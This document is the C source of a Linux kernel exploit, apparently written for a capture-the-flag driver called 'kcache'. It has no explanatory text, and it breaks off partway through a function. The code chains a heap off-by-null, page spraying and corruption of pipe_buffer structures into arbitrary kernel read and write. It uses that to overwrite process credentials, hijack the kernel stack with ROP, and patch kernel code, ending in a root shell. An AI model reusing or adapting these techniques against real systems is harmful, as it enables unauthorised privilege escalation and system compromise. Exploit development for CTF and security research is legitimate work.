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| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sched.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/mman.h>
size_t kernel_base = 0xffffffff81000000, kernel_offset = 0; size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000; size_t init_task, init_nsproxy, init_cred;
size_t direct_map_addr_to_page_addr(size_t direct_map_addr) { size_t page_count;
page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000; return vmemmap_base + page_count * 0x40; }
void err_exit(char *msg) { printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); sleep(5); exit(EXIT_FAILURE); }
void get_root_shell(void) { if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); sleep(5); exit(EXIT_FAILURE); }
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m"); puts("\033[34m\033[1m[*] Execve root shell now...\033[0m"); system("/bin/sh"); exit(EXIT_SUCCESS); }
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); }
void bind_core(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
void unshare_setup(void) { char edit[0x100]; int tmp_fd;
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); }
struct page; struct pipe_inode_info; struct pipe_buf_operations;
struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
int (*get)(struct pipe_inode_info *, struct pipe_buffer *); };
#define KCACHE_SIZE 2048 #define KCACHE_NUM 0x10
#define KCACHE_ALLOC 0x114 #define KCACHE_APPEND 0x514 #define KCACHE_READ 0x1919 #define KCACHE_FREE 0x810
struct kcache_cmd { int idx; unsigned int sz; void *buf; };
int dev_fd;
int kcache_alloc(int index, unsigned int size, char *buf) { struct kcache_cmd cmd = { .idx = index, .sz = size, .buf = buf, };
return ioctl(dev_fd, KCACHE_ALLOC, &cmd); }
int kcache_append(int index, unsigned int size, char *buf) { struct kcache_cmd cmd = { .idx = index, .sz = size, .buf = buf, };
return ioctl(dev_fd, KCACHE_APPEND, &cmd); }
int kcache_read(int index, unsigned int size, char *buf) { struct kcache_cmd cmd = { .idx = index, .sz = size, .buf = buf, };
return ioctl(dev_fd, KCACHE_READ, &cmd); }
int kcache_free(int index) { struct kcache_cmd cmd = { .idx = index, };
return ioctl(dev_fd, KCACHE_FREE, &cmd); }
#define PGV_PAGE_NUM 1000 #define PACKET_VERSION 10 #define PACKET_TX_RING 13
struct tpacket_req { unsigned int tp_block_size; unsigned int tp_block_nr; unsigned int tp_frame_size; unsigned int tp_frame_nr; };
struct pgv_page_request { int idx; int cmd; unsigned int size; unsigned int nr; };
enum { CMD_ALLOC_PAGE, CMD_FREE_PAGE, CMD_EXIT, };
enum tpacket_versions { TPACKET_V1, TPACKET_V2, TPACKET_V3, };
int cmd_pipe_req[2], cmd_pipe_reply[2];
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr) { struct tpacket_req req; int socket_fd, version; int ret;
socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); if (socket_fd < 0) { printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n"); ret = socket_fd; goto err_out; }
version = TPACKET_V1; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)); if (ret < 0) { printf("[x] failed at setsockopt(PACKET_VERSION)\n"); goto err_setsockopt; }
memset(&req, 0, sizeof(req)); req.tp_block_size = size; req.tp_block_nr = nr; req.tp_frame_size = 0x1000; req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)); if (ret < 0) { printf("[x] failed at setsockopt(PACKET_TX_RING)\n"); goto err_setsockopt; }
return socket_fd;
err_setsockopt: close(socket_fd); err_out: return ret; }
int alloc_page(int idx, unsigned int size, unsigned int nr) { struct pgv_page_request req = { .idx = idx, .cmd = CMD_ALLOC_PAGE, .size = size, .nr = nr, }; int ret;
write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request)); read(cmd_pipe_reply[0], &ret, sizeof(ret));
return ret; }
int free_page(int idx) { struct pgv_page_request req = { .idx = idx, .cmd = CMD_FREE_PAGE, }; int ret;
write(cmd_pipe_req[1], &req, sizeof(req)); read(cmd_pipe_reply[0], &ret, sizeof(ret));
usleep(10000);
return ret; }
void spray_cmd_handler(void) { struct pgv_page_request req; int socket_fd[PGV_PAGE_NUM]; int ret;
unshare_setup();
do { read(cmd_pipe_req[0], &req, sizeof(req));
if (req.cmd == CMD_ALLOC_PAGE) { ret = create_socket_and_alloc_pages(req.size, req.nr); socket_fd[req.idx] = ret; } else if (req.cmd == CMD_FREE_PAGE) { ret = close(socket_fd[req.idx]); } else { printf("[x] invalid request: %d\n", req.cmd); }
write(cmd_pipe_reply[1], &ret, sizeof(ret)); } while (req.cmd != CMD_EXIT); }
void prepare_pgv_system(void) { pipe(cmd_pipe_req); pipe(cmd_pipe_reply); if (!fork()) { spray_cmd_handler(); } }
#define PIPE_SPRAY_NUM 200
#define PGV_1PAGE_SPRAY_NUM 0x20
#define PGV_4PAGES_START_IDX PGV_1PAGE_SPRAY_NUM #define PGV_4PAGES_SPRAY_NUM 0x40
#define PGV_8PAGES_START_IDX (PGV_4PAGES_START_IDX + PGV_4PAGES_SPRAY_NUM) #define PGV_8PAGES_SPRAY_NUM 0x40
int pgv_1page_start_idx = 0; int pgv_4pages_start_idx = PGV_4PAGES_START_IDX; int pgv_8pages_start_idx = PGV_8PAGES_START_IDX;
void prepare_pgv_pages(void) {
puts("[*] spray pgv order-0 pages..."); for (int i = 0; i < PGV_1PAGE_SPRAY_NUM; i++) { if (alloc_page(i, 0x1000, 1) < 0) { printf("[x] failed to create %d socket for pages spraying!\n", i); } }
puts("[*] spray pgv order-2 pages..."); for (int i = 0; i < PGV_4PAGES_SPRAY_NUM; i++) { if (alloc_page(PGV_4PAGES_START_IDX + i, 0x1000 * 4, 1) < 0) { printf("[x] failed to create %d socket for pages spraying!\n", i); } }
puts("[*] spray pgv order-3 pages..."); for (int i = 0; i < PGV_8PAGES_SPRAY_NUM; i++) { if (i % 19 == 0) { free_page(pgv_4pages_start_idx++); }
if (i % 21 == 0) { free_page(pgv_1page_start_idx += 2); }
if (i % 512 == 0) { free_page(pgv_1page_start_idx += 2); }
if (alloc_page(PGV_8PAGES_START_IDX + i, 0x1000 * 8, 1) < 0) { printf("[x] failed to create %d socket for pages spraying!\n", i); } }
puts(""); }
#define SND_PIPE_BUF_SZ 96 #define TRD_PIPE_BUF_SZ 192
int pipe_fd[PIPE_SPRAY_NUM][2]; int orig_pid = -1, victim_pid = -1; int snd_orig_pid = -1, snd_vicitm_pid = -1; int self_2nd_pipe_pid = -1, self_3rd_pipe_pid = -1, self_4th_pipe_pid = -1;
struct pipe_buffer info_pipe_buf;
int extend_pipe_buffer_to_4k(int start_idx, int nr) { for (int i = 0; i < nr; i++) { if (i % 8 == 0) { free_page(pgv_8pages_start_idx++); }
if (fcntl(pipe_fd[start_idx + i][1], F_SETPIPE_SZ, 0x1000 * 64) < 0) { printf("[x] failed to extend %d pipe!\n", start_idx + i); return -1; } }
return 0; }
void corrupting_first_level_pipe_for_page_uaf(void) { char buf[0x1000];
puts("[*] spray pipe_buffer..."); for (int i = 0; i < PIPE_SPRAY_NUM; i ++) {
if (pipe(pipe_fd[i]) < 0) { printf("[x] failed to alloc %d pipe!", i); err_exit("FAILED to create pipe!"); } }
puts("[*] exetend pipe_buffer..."); if (extend_pipe_buffer_to_4k(0, PIPE_SPRAY_NUM / 2) < 0) { err_exit("FAILED to extend pipe!"); }
puts("[*] spray vulnerable 2k obj..."); free_page(pgv_8pages_start_idx++); for (int i = 0; i < KCACHE_NUM; i++) { kcache_alloc(i, 8, "arttnba3"); }
puts("[*] exetend pipe_buffer..."); if (extend_pipe_buffer_to_4k(PIPE_SPRAY_NUM / 2, PIPE_SPRAY_NUM / 2) < 0) { err_exit("FAILED to extend pipe!"); }
puts("[*] allocating pipe pages..."); for (int i = 0; i < PIPE_SPRAY_NUM; i++) { write(pipe_fd[i][1], "arttnba3", 8); write(pipe_fd[i][1], &i, sizeof(int)); write(pipe_fd[i][1], &i, sizeof(int)); write(pipe_fd[i][1], &i, sizeof(int)); write(pipe_fd[i][1], "arttnba3", 8); write(pipe_fd[i][1], "arttnba3", 8); }
puts("[*] trigerring cross-cache off-by-null..."); for (int i = 0; i < KCACHE_NUM; i++) { kcache_append(i, KCACHE_SIZE - 8, buf); }
puts("[*] checking for corruption..."); for (int i = 0; i < PIPE_SPRAY_NUM; i++) { char a3_str[0x10]; int nr;
memset(a3_str, '\0', sizeof(a3_str)); read(pipe_fd[i][0], a3_str, 8); read(pipe_fd[i][0], &nr, sizeof(int)); if (!strcmp(a3_str, "arttnba3") && nr != i) { orig_pid = nr; victim_pid = i; printf("\033[32m\033[1m[+] Found victim: \033[0m%d " "\033[32m\033[1m, orig: \033[0m%d\n\n", victim_pid, orig_pid); break; } }
if (victim_pid == -1) { err_exit("FAILED to corrupt pipe_buffer!"); } }
void corrupting_second_level_pipe_for_pipe_uaf(void) { size_t buf[0x1000]; size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
memset(buf, '\0', sizeof(buf));
write(pipe_fd[victim_pid][1], buf, SND_PIPE_BUF_SZ*2 - 24 - 3*sizeof(int));
puts("[*] free original pipe..."); close(pipe_fd[orig_pid][0]); close(pipe_fd[orig_pid][1]);
puts("[*] fcntl() to set the pipe_buffer on victim page..."); for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid) { continue; }
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0) { printf("[x] failed to resize %d pipe!\n", i); err_exit("FAILED to re-alloc pipe_buffer!"); } }
read(pipe_fd[victim_pid][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int)); read(pipe_fd[victim_pid][0], &info_pipe_buf, sizeof(info_pipe_buf));
printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n" "\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n", info_pipe_buf.page, info_pipe_buf.ops);
if ((size_t) info_pipe_buf.page < 0xffff000000000000 || (size_t) info_pipe_buf.ops < 0xffffffff81000000) { err_exit("FAILED to re-hit victim page!"); }
puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m"); printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page); puts("");
puts("[*] construct a second-level uaf pipe page..."); info_pipe_buf.page = (struct page*) ((size_t) info_pipe_buf.page + 0x40); write(pipe_fd[victim_pid][1], &info_pipe_buf, sizeof(info_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++) { int nr;
if (i == orig_pid || i == victim_pid) { continue; }
read(pipe_fd[i][0], &nr, sizeof(nr)); if (nr < PIPE_SPRAY_NUM && i != nr) { snd_orig_pid = nr; snd_vicitm_pid = i; printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d " "\033[32m\033[1m, orig: \033[0m%d\n", snd_vicitm_pid, snd_orig_pid); break; } }
if (snd_vicitm_pid == -1) { err_exit("FAILED to corrupt second-level pipe_buffer!"); } }
void building_self_writing_pipe(void) { size_t buf[0x1000]; size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ/sizeof(struct pipe_buffer)); struct pipe_buffer evil_pipe_buf; struct page *page_ptr;
memset(buf, 0, sizeof(buf));
write(pipe_fd[snd_vicitm_pid][1], buf, TRD_PIPE_BUF_SZ - 24 -3*sizeof(int));
puts("[*] free second-level original pipe..."); close(pipe_fd[snd_orig_pid][0]); close(pipe_fd[snd_orig_pid][1]);
puts("[*] fcntl() to set the pipe_buffer on second-level victim page..."); for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid) { continue; }
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0) { printf("[x] failed to resize %d pipe!\n", i); err_exit("FAILED to re-alloc pipe_buffer!"); } }
puts("[*] hijacking the 2nd pipe_buffer on page to itself..."); evil_pipe_buf.page = info_pipe_buf.page; evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ; evil_pipe_buf.ops = info_pipe_buf.ops; evil_pipe_buf.flags = info_pipe_buf.flags; evil_pipe_buf.private = info_pipe_buf.private;
write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid) { continue; }
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr)); if (page_ptr == evil_pipe_buf.page) { self_2nd_pipe_pid = i; printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n", self_2nd_pipe_pid); break; } }
if (self_2nd_pipe_pid == -1) { err_exit("FAILED to build a self-writing pipe!"); }
puts("[*] hijacking the 3rd pipe_buffer on page to itself..."); evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf)); write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid || i == self_2nd_pipe_pid) { continue; }
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr)); if (page_ptr == evil_pipe_buf.page) { self_3rd_pipe_pid = i; printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m" "%d\n", self_3rd_pipe_pid); break; } }
if (self_3rd_pipe_pid == -1) { err_exit("FAILED to build a self-writing pipe!"); }
puts("[*] hijacking the 4th pipe_buffer on page to itself..."); evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf)); write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid || i == self_2nd_pipe_pid || i== self_3rd_pipe_pid) { continue; }
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr)); if (page_ptr == evil_pipe_buf.page) { self_4th_pipe_pid = i; printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m" "%d\n", self_4th_pipe_pid); break; } }
if (self_4th_pipe_pid == -1) { err_exit("FAILED to build a self-writing pipe!"); }
puts(""); }
struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf; char temp_zero_buf[0x1000]= { '\0' };
void setup_evil_pipe(void) { memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf)); memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf)); memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));
evil_2nd_buf.offset = 0; evil_2nd_buf.len = 0xff0;
evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3; evil_3rd_buf.len = 0; write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
evil_4th_buf.offset = TRD_PIPE_BUF_SZ; evil_4th_buf.len = 0; }
void arbitrary_read_by_pipe(struct page *page_to_read, void *dst) { evil_2nd_buf.offset = 0; evil_2nd_buf.len = 0x1ff8; evil_2nd_buf.page = page_to_read;
write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));
write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf)); write(pipe_fd[self_4th_pipe_pid][1], temp_zero_buf, TRD_PIPE_BUF_SZ-sizeof(evil_2nd_buf)); write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
read(pipe_fd[self_2nd_pipe_pid][0], dst, 0xfff); }
void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len) { evil_2nd_buf.page = page_to_write; evil_2nd_buf.offset = 0; evil_2nd_buf.len = 0;
write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));
write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf)); write(pipe_fd[self_4th_pipe_pid][1], temp_zero_buf, TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf)); write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
write(pipe_fd[self_2nd_pipe_pid][1], src, len); }
size_t *tsk_buf, current_task_page, current_task, parent_task, buf[0x1000];
void info_leaking_by_arbitrary_pipe() { size_t *comm_addr;
memset(buf, 0, sizeof(buf));
puts("[*] Setting up kernel arbitrary read & write..."); setup_evil_pipe();
vmemmap_base = (size_t) info_pipe_buf.page & 0xfffffffff0000000; for (;;) { arbitrary_read_by_pipe((struct page*) (vmemmap_base + 157 * 0x40), buf);
if (buf[0] > 0xffffffff81000000 && ((buf[0] & 0xfff) == 0x070)) { kernel_base = buf[0] - 0x070; kernel_offset = kernel_base - 0xffffffff81000000; printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n" "\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n", kernel_base, kernel_offset); break; }
vmemmap_base -= 0x10000000; } printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);
puts("[*] Seeking task_struct in memory...");
prctl(PR_SET_NAME, "arttnba3pwnn");
for (int i = 0; 1; i++) { arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40), buf); comm_addr = memmem(buf, 0xf00, "arttnba3pwnn", 12); if (comm_addr && (comm_addr[-2] > 0xffff888000000000) && (comm_addr[-3] > 0xffff888000000000) && (comm_addr[-57] > 0xffff888000000000) && (comm_addr[-56] > 0xffff888000000000)) {
parent_task = comm_addr[-57];
current_task = comm_addr[-50] - 2528;
page_offset_base = (comm_addr[-50]&0xfffffffffffff000) - i * 0x1000; page_offset_base &= 0xfffffffff0000000;
printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n", (struct page*) (vmemmap_base + i * 0x40)); printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n", page_offset_base); printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m" "0x%lx\n\n", current_task); break; } } }
void privilege_escalation_by_task_overwrite(void) { puts("[*] Seeking for init_task...");
for (;;) { size_t ptask_page_addr = direct_map_addr_to_page_addr(parent_task);
tsk_buf = (size_t*) ((size_t) buf + (parent_task & 0xfff));
arbitrary_read_by_pipe((struct page*) ptask_page_addr, buf); arbitrary_read_by_pipe((struct page*) (ptask_page_addr+0x40),&buf[512]);
if (parent_task == tsk_buf[309]) { break; }
parent_task = tsk_buf[309]; }
init_task = parent_task; init_cred = tsk_buf[363]; init_nsproxy = tsk_buf[377];
printf("\033[32m\033[1m[+] Found init_task: \033[0m0x%lx\n", init_task); printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred); printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n",init_nsproxy);
puts("[*] Escalating ROOT privilege now...");
current_task_page = direct_map_addr_to_page_addr(current_task);
arbitrary_read_by_pipe((struct page*) current_task_page, buf); arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf[512]);
tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff)); tsk_buf[363] = init_cred; tsk_buf[364] = init_cred; tsk_buf[377] = init_nsproxy;
arbitrary_write_by_pipe((struct page*) current_task_page, buf, 0xff0); arbitrary_write_by_pipe((struct page*) (current_task_page+0x40), &buf[512], 0xff0);
puts("[+] Done.\n"); puts("[*] checking for root...");
get_root_shell(); }
#define PTE_OFFSET 12 #define PMD_OFFSET 21 #define PUD_OFFSET 30 #define PGD_OFFSET 39
#define PT_ENTRY_MASK 0b111111111UL #define PTE_MASK (PT_ENTRY_MASK << PTE_OFFSET) #define PMD_MASK (PT_ENTRY_MASK << PMD_OFFSET) #define PUD_MASK (PT_ENTRY_MASK << PUD_OFFSET) #define PGD_MASK (PT_ENTRY_MASK << PGD_OFFSET)
#define PTE_ENTRY(addr) ((addr >> PTE_OFFSET) & PT_ENTRY_MASK) #define PMD_ENTRY(addr) ((addr >> PMD_OFFSET) & PT_ENTRY_MASK) #define PUD_ENTRY(addr) ((addr >> PUD_OFFSET) & PT_ENTRY_MASK) #define PGD_ENTRY(addr) ((addr >> PGD_OFFSET) & PT_ENTRY_MASK)
#define PAGE_ATTR_RW (1UL << 1) #define PAGE_ATTR_NX (1UL << 63)
size_t pgd_addr, mm_struct_addr, *mm_struct_buf; size_t stack_addr, stack_addr_another; size_t stack_page, mm_struct_page;
size_t vaddr_resolve(size_t pgd_addr, size_t vaddr) { size_t buf[0x1000]; size_t pud_addr, pmd_addr, pte_addr, pte_val;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf); pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX); pud_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf); pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX); pmd_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf); pte_addr = (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX); pte_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf); pte_val = (buf[PTE_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
return pte_val; }
size_t vaddr_resolve_for_3_level(size_t pgd_addr, size_t vaddr) { size_t buf[0x1000]; size_t pud_addr, pmd_addr;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf); pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX); pud_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf); pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX); pmd_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf); return (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX); }
void vaddr_remapping(size_t pgd_addr, size_t vaddr, size_t paddr) { size_t buf[0x1000]; size_t pud_addr, pmd_addr, pte_addr;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf); pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX); pud_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf); pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX); pmd_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf); pte_addr = (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX); pte_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf); buf[PTE_ENTRY(vaddr)] = paddr | 0x8000000000000867; arbitrary_write_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf, 0xff0); }
void pgd_vaddr_resolve(void) { puts("[*] Reading current task_struct...");
current_task_page = direct_map_addr_to_page_addr(current_task); arbitrary_read_by_pipe((struct page*) current_task_page, buf); arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf[512]);
tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff)); stack_addr = tsk_buf[4]; mm_struct_addr = tsk_buf[292];
printf("\033[34m\033[1m[*] kernel stack's addr:\033[0m0x%lx\n",stack_addr); printf("\033[34m\033[1m[*] mm_struct's addr:\033[0m0x%lx\n",mm_struct_addr);
mm_struct_page = direct_map_addr_to_page_addr(mm_struct_addr);
printf("\033[34m\033[1m[*] mm_struct's page:\033[0m0x%lx\n",mm_struct_page);
arbitrary_read_by_pipe((struct page*) mm_struct_page, buf); arbitrary_read_by_pipe((struct page*) (mm_struct_page+0x40), &buf[512]);
mm_struct_buf = (size_t*) ((size_t) buf + (mm_struct_addr & 0xfff));
pgd_addr = mm_struct_buf[9];
printf("\033[32m\033[1m[+] Got kernel page table of current task:\033[0m" "0x%lx\n\n", pgd_addr); }
#define COMMIT_CREDS 0xffffffff811284e0 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff82201a90 #define INIT_CRED 0xffffffff83079ee8 #define POP_RDI_RET 0xffffffff810157a9 #define RET 0xffffffff810157aa
void privilege_escalation_by_rop(void) { size_t rop[0x1000], idx = 0;
pgd_vaddr_resolve(); puts("[*] Reading page table...");
stack_addr_another = vaddr_resolve(pgd_addr, stack_addr); stack_addr_another &= (~PAGE_ATTR_NX); stack_addr_another += page_offset_base;
printf("\033[32m\033[1m[+] Got another virt addr of kernel stack: \033[0m" "0x%lx\n\n", stack_addr_another);
for (int i = 0; i < ((0x1000 - 0x100) / 8); i++) { rop[idx++] = RET + kernel_offset; }
rop[idx++] = POP_RDI_RET + kernel_offset; rop[idx++] = INIT_CRED + kernel_offset; rop[idx++] = COMMIT_CREDS + kernel_offset; rop[idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE +54 + kernel_offset; rop[idx++] = *(size_t*) "arttnba3"; rop[idx++] = *(size_t*) "arttnba3"; rop[idx++] = (size_t) get_root_shell; rop[idx++] = user_cs; rop[idx++] = user_rflags; rop[idx++] = user_sp; rop[idx++] = user_ss;
stack_page = direct_map_addr_to_page_addr(stack_addr_another);
puts("[*] Hijacking current task's stack...");
sleep(5);
arbitrary_write_by_pipe((struct page*) (stack_page + 0x40 * 3), rop, 0xff0); }
void privilege_escalation_by_usma(void) { #define NS_CAPABLE_SETID 0xffffffff810fd2a0
char *kcode_map, *kcode_func; size_t dst_paddr, dst_vaddr, *rop, idx = 0;
pgd_vaddr_resolve();
kcode_map = mmap((void*) 0x114514000, 0x2000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (!kcode_map) { err_exit("FAILED to create mmap area!"); }
for (int i = 0; i < 8; i++) { kcode_map[i] = "arttnba3"[i]; kcode_map[i + 0x1000] = "arttnba3"[i]; }
dst_vaddr = NS_CAPABLE_SETID + kernel_offset; printf("\033[34m\033[1m[*] vaddr of ns_capable_setid is: \033[0m0x%lx\n", dst_vaddr);
dst_paddr = vaddr_resolve_for_3_level(pgd_addr, dst_vaddr); dst_paddr += 0x1000 * PTE_ENTRY(dst_vaddr);
printf("\033[32m\033[1m[+] Got ns_capable_setid's phys addr: \033[0m" "0x%lx\n\n", dst_paddr);
vaddr_remapping(pgd_addr, 0x114514000, dst_paddr); vaddr_remapping(pgd_addr, 0x114514000 + 0x1000, dst_paddr + 0x1000);
puts("[*] Start overwriting kernel code segment...");
memset(kcode_map + (NS_CAPABLE_SETID & 0xfff), '\x90', 0x40); memcpy(kcode_map + (NS_CAPABLE_SETID & 0xfff) + 0x40, "\xf3\x0f\x1e\xfa" "H\xc7\xc0\x01\x00\x00\x00" "\xc3", 12);
puts("[*] trigger evil ns_capable_setid() in setresuid()...\n");
sleep(5);
setresuid(0, 0, 0); get_root_shell(); }
void trigger_control_flow_integrity_detection(void) { size_t buf[0x1000]; struct pipe_buffer *pbuf = (void*) ((size_t)buf + TRD_PIPE_BUF_SZ); struct pipe_buf_operations *ops, *ops_addr;
ops_addr = (struct pipe_buf_operations*) (((size_t) info_pipe_buf.page - vmemmap_base) / 0x40 * 0x1000); ops_addr = (struct pipe_buf_operations*)((size_t)ops_addr+page_offset_base);
ops = (struct pipe_buf_operations*) buf; ops->confirm = (void*)(0xffffffff81a78568 + kernel_offset); ops->release = (void*)(0xffffffff816196e6 + kernel_offset);
